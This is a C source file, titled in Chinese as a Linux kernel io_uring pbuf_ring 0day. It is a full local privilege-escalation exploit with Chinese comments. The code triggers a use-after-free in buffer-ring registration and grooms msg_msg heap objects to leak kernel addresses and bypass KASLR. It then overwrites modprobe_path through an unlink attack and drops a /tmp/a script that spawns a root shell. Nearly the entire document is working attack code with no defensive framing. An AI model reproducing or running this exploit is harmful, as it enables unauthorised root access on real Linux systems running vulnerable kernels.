linux内核io_uring模块pbuf_ring漏洞与提权0day

#define _GNU_SOURCE

#include <endian.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <linux/types.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>

/*------------------------助手定义-----------------------------*/
typedef unsigned long long uLL;
typedef long long LL;
#define PAGE_SIZE (0x1000)

#define LOG(val) printf("[%s][%s][%d]: %s=0x%llx\n", __FILE__, __FUNCTION__, __LINE__, #val, (uLL)val)

void Hexdump(char* buf, long size)
{
    for (int i = 0; i < size; i += 8)
        printf("+%02x\t0x%016llx\n", i, *(uLL*)(buf + i));
}

//映射可读可写页, 并进行写入, 使其存在
void* Mmap(void* base, size_t len)
{
    int flags = MAP_ANONYMOUS | MAP_PRIVATE;
    if (base)
        flags |= MAP_FIXED;

    void* res = mmap(base, len, PROT_READ | PROT_WRITE, flags, -1, 0);
    if ((LL)res == -1 || (base && (res != base))) {
        perror("Mmap");
        exit(-1);
    }
    memset(res, '\x00', len);
    return res;
}

// kmalloc(buf, KERNEL); 写入buf; 然后kfree(buf)
void spray(char* buf, long size)
{
    setxattr("/exp", "XXXXX", buf, size, XATTR_CREATE);
    perror("setxattr");
}
/*------------------------助手定义-----------------------------*/

/*------------------------io_uring相关定义-----------------------------*/
int io_uring_setup(unsigned entries, struct io_uring_params* p)
{
    return (int)syscall(__NR_io_uring_setup, entries, p);
}

int io_uring_register(unsigned int fd, unsigned int opcode,
    void* arg, unsigned int nr_args)
{
    return (int)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}

int io_uring_enter(int ring_fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags)
{
    return (int)syscall(__NR_io_uring_enter, ring_fd, to_submit, min_complete, flags, NULL, 0);
}

#define IORING_REGISTER_PBUF_RING (22)
#define IORING_UNREGISTER_PBUF_RING (23)

#define IORING_OP_PROVIDE_BUFFERS (31)

//注册一个缓冲区, mapped ring使用
struct io_uring_buf_reg {
    __u64 ring_addr;
    __u32 ring_entries;
    __u16 bgid;
    __u16 pad;
    __u64 resv[3];
};

//新内核中sqe的定义
struct new_io_uring_sqe {
    __u8 opcode; /* type of operation for this sqe */
    __u8 flags; /* IOSQE_ flags */
    __u16 ioprio; /* ioprio for the request */
    __s32 fd; /* file descriptor to do IO on */
    union {
        __u64 off; /* offset into file */
        __u64 addr2;
        __u32 cmd_op;
    };
    union {
        __u64 addr; /* pointer to buffer or iovecs */
        __u64 splice_off_in;
    };
    __u32 len; /* buffer size or number of iovecs */
    union {
        __kernel_rwf_t rw_flags;
        __u32 fsync_flags;
        __u16 poll_events; /* compatibility */
        __u32 poll32_events; /* word-reversed for BE */
        __u32 sync_range_flags;
        __u32 msg_flags;
        __u32 timeout_flags;
        __u32 accept_flags;
        __u32 cancel_flags;
        __u32 open_flags;
        __u32 statx_flags;
        __u32 fadvise_advice;
        __u32 splice_flags;
        __u32 rename_flags;
        __u32 unlink_flags;
        __u32 hardlink_flags;
        __u32 xattr_flags;
        __u32 close_flags;
    };
    __u64 user_data;
    union {
        __u16 buf_index;
        __u16 buf_group;
    } __attribute__((packed));
    __u16 personality;
    union {
        __s32 splice_fd_in;
        __u32 file_index;
    };
    union {
        struct {
            __u64 addr3;
            __u64 __pad2[1];
        };
        __u8 cmd[0];
    };
};

//这个对象只在内核中定义, 问了方便伪造对象我将其复制到这里
struct io_buffer_list {
    union {
        struct {
            void* buf_pages;
            void* buf_ring;
        };
    };
    __u16 bgid; // buffer group ID

    //下面这些字段是io_register_pbuf_ring()使用的
    __u16 buf_nr_pages; // bu_pagesf中有多少页
    __u16 nr_entries; //包含多少项
    __u32 head;
    __u32 mask;
};

//内存屏障宏
#define io_uring_smp_store_release(p, v)                   \
    atomic_store_explicit((_Atomic typeof(*(p))*)(p), (v), \
        memory_order_release)

#define io_uring_smp_load_acquire(p)                 \
    atomic_load_explicit((_Atomic typeof(*(p))*)(p), \
        memory_order_acquire)

/*------------------------io_uring相关定义-----------------------------*/

void clean_slab_4K(void)
{
    int msgid[0x10];
    int ret;
    for (int i = 0; i < 0x10; i++) {
        msgid[i] = msgget((key_t)1000 + i, 0666 | IPC_CREAT | IPC_EXCL);
        LOG(msgid[i]);
        struct msgbuf* msg = malloc(PAGE_SIZE * 2 + 0x30);

        puts("msgsnd");
        msg->mtype = 0x1;
        memset(msg->mtext, '\x00', PAGE_SIZE * 2);
        ret = msgsnd(msgid[i], msg, PAGE_SIZE * 2, 0);
    }

    char* res = malloc(PAGE_SIZE * 2);
    for (int i = 0; i < 0x10; i++) {
        ret = msgrcv(msgid[i], res, PAGE_SIZE * 2, 0x1, 0);
    }
}

/*------------------------初始化函数-----------------------------*/
int uring_fd;
int msgid[0x10];
char* buffer; //公共使用的缓冲区
#define BUFFER_LEN (PAGE_SIZE * 8) //公共缓冲区长度
#define PBUF_BASE ((void*)0x1000) //缓冲区的IORING_OP_PROVIDE_BUFFERS提供的缓冲区地址
struct new_io_uring_sqe* sqes; //提交项数组

unsigned *sring_tail, *sring_mask, *sring_array, *cring_head;

void init(void)
{
    setbuf(stdout, NULL);

    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    uring_fd = io_uring_setup(0x1, &p); //只设置一项

    // SQ映射长度=io_urings中sq_array的偏移+sq_array的项数*index长度
    int sring_sz = p.sq_off.array + p.sq_entries * sizeof(unsigned);

    // CQ映射长度=io_urings中cqes的偏移+cqes的项数*完成项的长度
    int cring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);

    // 提交队列项的长度
    int sqes_sz = p.sq_entries * sizeof(struct new_io_uring_sqe);

    //映射提交队列相关字段
    unsigned char* sq_ptr = mmap(NULL, sring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);
    LOG(sq_ptr);

    sring_tail = (unsigned int*)(sq_ptr + p.sq_off.tail); //指向io_urings.sq.tail
    sring_mask = (unsigned int*)(sq_ptr + p.sq_off.ring_mask); //指向io_urings.sq_ring_mask
    sring_array = (unsigned int*)(sq_ptr + p.sq_off.array); //指向io_urings中, cqes后面的sq_array

    // 映射sqes
    sqes = mmap(NULL, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);
    LOG(sqes);

    //映射完成队列
    unsigned char* cq_ptr = mmap(NULL, cring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);
    LOG(cq_ptr);

    cring_head = (unsigned int*)(cq_ptr + p.cq_off.head); //完成队列头

    // 创建许多消息队列备用
    for (int i = 0; i < 0x10; i++) {
        msgid[i] = msgget((key_t)1234 + i, 0666 | IPC_CREAT | IPC_EXCL);
        // LOG(msgid[i]);
    }

    //分配公用的缓冲区
    buffer = Mmap(0, BUFFER_LEN);
    if (buffer == NULL) {
        perror("malloc buffer");
    }
}
/*------------------------初始化函数-----------------------------*/

void* worker(void* res)
{
    /*
        从msgid[0]中读入一个msg_msg,
        但是由于后一个io_buffer.list.prev会被当做msg_msg->next, 导致load_msg()无限循环
        因此需要单独开一个线程阻塞在内核态, 但实际上数据是已经写入到res中的
    */
    msgrcv(msgid[0], res, PAGE_SIZE, /* msg_type= */ (long)PBUF_BASE, 0);
    puts("shouldn't get here");
}

void trigger_UAF(void)
{
    int ret;

    //准备一个无效的mapped ring请求
    struct io_uring_buf_reg reg;
    memset(&reg, 0, sizeof(reg));
    reg.ring_addr = 0xF00000000; // invaild userspace address, 令io_pin_pages()失败
    reg.ring_entries = 0x20000000; // power of 2
    reg.bgid = 0x0;

    // ctx->io_bl = kcalloc(BGID_ARRAY, sizeof(struct io_buffer_list), GFP_KERNEL);
    // kfree(ctx->io_bl);
    ret = io_uring_register(uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1);
    LOG(ret);
}

void submit_provide_buffer(void)
{
    io_uring_smp_store_release(&sring_array[0], 0); //写入sq_array

    //更新sqes的tail
    int tail = *sring_tail;
    tail++;
    io_uring_smp_store_release(sring_tail, tail);

    //提交1个请求, 要求完成这一个后再返回
    int ret = io_uring_enter(uring_fd, 1, 1, IORING_ENTER_GETEVENTS);
    LOG(ret);

    //回收cqe
    int head = io_uring_smp_load_acquire(cring_head);
    head++;
    io_uring_smp_store_release(cring_head, head);
}

//在msgid[idx]中分配num个大小为size的msg_msg对象
void alloc_msg(int idx, int size, int num)
{
    struct msgbuf* msg = (struct msgbuf*)buffer;
    int msg_len = size - 0x30;
    LOG(msg_len);

    memset(msg->mtext, 0xCC, msg_len);
    for (int i = 0x0; i < num; i++) {
        msg->mtype = i + 1;
        if (msgsnd(msgid[idx], msg, msg_len, 0) != 0)
            perror("msgsnd");
        LOG(i);
    }
}

int main(void)
{
    int ret;
    init();

    // 1. 令ctx->io_bl指向0x800的UAF对象
    trigger_UAF();

    /*  2. 将ctx->io_bl指向的0x800的对象作为msg_msg对象, 称为msg0 */
    struct msgbuf* msg = (struct msgbuf*)buffer;
    // 要分配的大小 - sizeof(struct msg_msg), 0x420会从kmalloc-2k中分配.
    // 不分配0x800是为了partial overwrite, 保留可用的io_bufer_list
    int msg_len = 0x420 - 0x30;
    msg->mtype = 0x0001; // mtype 为long, 低2B对应io_buffer_list的bgid, 高2B对应buf_nr_pages
    memset(msg->mtext, '\x00', msg_len);
    msgsnd(msgid[0], msg, msg_len, 0); //发送消息

    /* 3. 将io_buffer链接到ctx->io_bl[0], 伪造一个msg_msg对象, 称为msg1 */
    // 使用io_provide_buffers()在链表ctx->io_bl[0].buf_list上添加一个io_buffer对象
    // 但是对于msg_msg来说, 添加的io_buffer对象会被当作是msg_msg对象, 从而把0xFD0作为消息正文长度, 泄露io_buffer
    void* pbuf = Mmap(PBUF_BASE, PAGE_SIZE); //上交的缓冲区
    LOG(pbuf);
    sqes[0].opcode = IORING_OP_PROVIDE_BUFFERS;
    sqes[0].rw_flags = 0;
    sqes[0].splice_fd_in = 0;
    sqes[0].fd = 1; // nbufs
    sqes[0].addr = (uLL)pbuf; // io_buffer::addr对应msg_msg::m_type, 因此要控制在long的范围内
    sqes[0].len = 0xFD0; // io_buffer::len对应msg_msg::m_ts, 因此io_buffer后续的内容会被当作是消息正文, 等于DATALEN_MSG
    sqes[0].buf_group = 0; //链接到ctx->io_bl[buf_group], 这里0对应msg_msg的头部, 可以伪造msg_msg
    submit_provide_buffer();

    // 4. 从ctx->io_buffer_cache中分配两对象, 获取指向ctx->io_bl[33]的指针, 从而找到kmalloc-2k的地址
    for (int i = 0; i < 0x2; i++) {
        sqes[0].addr = (uLL)malloc(0x100);
        sqes[0].len = 0x100;
        sqes[0].buf_group = 33; // 注意msg_msg覆盖时0x420后面的都是可用的io_buffer_list, 因此链接到这里0x420/0x20=33
        submit_provide_buffer();
    }

    // 5. 创建一个线程读出msg1到buffer中, 从而实现越界读, worker之后会卡死, 只能让其卡死, 因为msg1是伪造的, 不能被kfree掉
    uLL* tag = (uLL*)(buffer + 0xF00); //在尾部打上标记,  因为开头8B是mtype, 读出0xF00的消息会写入0xF08
    *tag = 0xdeadbeef;
    pthread_t th;
    pthread_create(&th, NULL, worker, buffer);

    // 6. 获取ctx->io_bl, 也是msg0的地址
    while (*tag == 0xdeadbeef) // load_msg()执行完毕会覆盖*tag, 这里进行等待
        ;
    // Hexdump(buffer, 0x200);
    uLL io_bl = *((uLL*)(buffer + 0x18)) - 0x420; //减去0x420时因为指向的时&ctx->io_bl[33]
    LOG(io_bl);

    // 7. 在ctx->io_bl(也是msg0)后面申请一个msg2, 并申请io_ring_ctx对象, 在没有开启slub随机化的情况下, 三者是相邻的
    msg_len = 0x800 - 0x30;
    memset(msg->mtext, 0x00, msg_len);
    msgsnd(msgid[2], msg, msg_len, 0);

    int spray_uring_fd;
    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    spray_uring_fd = io_uring_setup(0x1, &p); //只设置一项
    LOG(spray_uring_fd);

    // 8. 重新覆盖掉ctx->io_bl, 伪造io_buffer_list对象
    ret = msgrcv(msgid[0], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0); //首先读出msg0
    LOG(ret);
    msg_len = 0x800 - 0x30; // 0x800-sizeof(struct msg_msg), 可以伪造io_buffer_list了, 不用partial overwrite

    //将具体msg_msg开头的偏移x 转换为 从msg_msg->mtext开始的索引
#define IDX(x) (((x)-0x30) / 8)

    //在msg_msg.mtext中伪造io_buffer_list对象
    uLL* tmp = (uLL*)msg->mtext; // tmp = ctx->io_bl+0x30, 也等于msg_msg+0x30
    tmp[IDX(0x40)] = io_bl + 0x60; // fake_bl.buf_pages
    tmp[IDX(0x48)] = io_bl; // fake_bl.buf_ring, 指向一个可读地址即可
    tmp[IDX(0x50)] = 0x10000; // fake_bl.buf_nr_pages = 1
    tmp[IDX(0x60)] = io_bl + 0x68; // <= io_bl + 0x60, 这里的值会被当做buf_pages[0]
    tmp[IDX(0x68)] = 0xdeadbeef; //这里被当做page对象

    tmp[IDX(0x80)] = io_bl + 0xa0; // fake_bl.buf_pages
    tmp[IDX(0x88)] = io_bl; // fake_bl.buf_ring, 指向一个可读地址即可
    tmp[IDX(0x90)] = 0x10000; // fake_bl.buf_nr_pages = 1
    tmp[IDX(0xa0)] = io_bl + 0x1000; // <= io_bl + 0x60, 这里的值会被当做buf_pages[0]

    // msgid[0]实际只有一个msg, 但是取出了两次, 导致msq->q_qnum=-1, 因此不能再使用, 换成msgid[1], 反正都是一样的覆盖
    ret = msgsnd(msgid[1], msg, msg_len, 0); //然后再次发送消息
    LOG(ret);

    // 9. 利用__io_remove_buffers()进行任意地址kvfree(), [msg_msg+0x60, msg_msg+0x860)会被放入freelist
    struct io_uring_buf_reg reg;
    memset(&reg, 0, sizeof(reg));
    reg.bgid = 0x2; // msg_msg中对应fake_bl
    ret = io_uring_register(uring_fd, IORING_UNREGISTER_PBUF_RING, &reg, 1);
    LOG(ret);

    // 10. 发送msg3, 申请到[msg_msg+0x60, msg_msg+0x860), 从而控制msg2
    msg_len = 0x800 - 0x30;
    tmp = (uLL*)msg->mtext;
    // msg3+0x800-0x60处就是msg2的头部
    tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; //自旋指针,msg1->next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash
    tmp[IDX(0x800 - 0x60)] = io_bl + 0x830; // msg3.m_list.prev
    tmp[IDX(0x808 - 0x60)] = io_bl + 0x830; // msg3.m_list.next
    tmp[IDX(0x810 - 0x60)] = 0x00001; // msg3.m_type
    tmp[IDX(0x818 - 0x60)] = 0xFD0; // msg3.m_ts
    tmp[IDX(0x820 - 0x60)] = 0; // msg3.next
    tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; // msg3.security, 指向可读区域就好

    tmp[IDX(0x830 - 0x60)] = io_bl + 0x800; // <=io_bl + 0x830, 伪造循环链表节点
    tmp[IDX(0x838 - 0x60)] = io_bl + 0x800;
    tmp[IDX(0x840 - 0x60)] = 0xdeadbeef;

    ret = msgsnd(msgid[3], msg, msg_len, 0); //然后再次发送消息, 为了防止干扰, 一个队列发送一个消息
    LOG(ret);

    // 11. 读出msg2, 从而越界读出io_uring_ctx, 泄露kaslr
    msgrcv(msgid[2], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0);
    uLL* io_ring_ctx = (uLL*)(buffer + 0x8 + 0x800 - 0x30);
    // Hexdump(io_ring_ctx, 0x200);
    LOG(io_ring_ctx[0x420 / 8]); // io_ring_ctx::fallback_work
    LL kaslr = io_ring_ctx[0x420 / 8] - 0xffffffff81083250;
    LOG(kaslr);
    LL modprobe_path = kaslr + 0xffffffff82850e40;
    LOG(modprobe_path);

    // 12. 利用msg3重新覆盖msg2, 伪造msg_msg对象
    // 首先再次发送msg2, 为防止干扰, 发送msgid[4]中
    msg_len = 0x800 - 0x30;
    memset(msg->mtext, 0x00, msg_len);
    msgsnd(msgid[4], msg, msg_len, 0);
    // 然后释放掉msg3
    ret = msgrcv(msgid[3], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0);
    LOG(ret);
    // 开始构造msg2
    msg_len = 0x800 - 0x30;
    tmp = (uLL*)msg->mtext;
    // msg3+0x800-0x60处就是msg2的头部
    tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; //自旋指针,msg1->next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash
    tmp[IDX(0x800 - 0x60)] = modprobe_path - 0x8; // msg3.m_list.prev
    tmp[IDX(0x808 - 0x60)] = 0x612f706d742f; // msg3.m_list.next = "/tmp/a\x00"
    tmp[IDX(0x810 - 0x60)] = 0x00001; // msg3.m_type
    tmp[IDX(0x818 - 0x60)] = 0xFD0; // msg3.m_ts
    tmp[IDX(0x820 - 0x60)] = 0; // msg3.next
    tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; // msg3.security, 指向可读区域就好

    // 分配msg3, 利用msg3.mtext覆盖掉msg2, 同理为防止干扰, 发送到msgid[5]
    msgsnd(msgid[5], msg, msg_len, 0);

    if (fork() == 0) { //子进程触发unlink attack
        msgrcv(msgid[4], buffer, PAGE_SIZE, /* msg_type= */ (long)0x0001, 0);
    }

    // 13. 等待unlink attack完成, 检查是否覆盖成功
    sleep(2);
    int fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
    LOG(fd);
    read(fd, buffer, 0x10);
    puts(buffer);
    close(fd);

    // 14. 构造提权脚本/tmp/a并触发
    fd = open("/tmp/a", O_RDWR|O_CREAT);
    char *script = "#!/bin/sh\nchmod 777 /flag\nsetsid cttyhack setuidgid 0 /bin/sh\n";
    write(fd, script, strlen(script));
    close(fd);
    system("chmod 777 /tmp/a");

    // write a wrong execute file
    int ff = open("/tmp/asd", O_WRONLY | O_CREAT);
    write(ff, "\xff\xff\xff\xff", 4);
    close(ff);

    // trigger modprobe
    system("chmod 777 /tmp/asd; /tmp/asd");
    if(fork()==0)
        system("/bin/sh");

    puts("alive");
    while (1)
        ;

    return 0;
}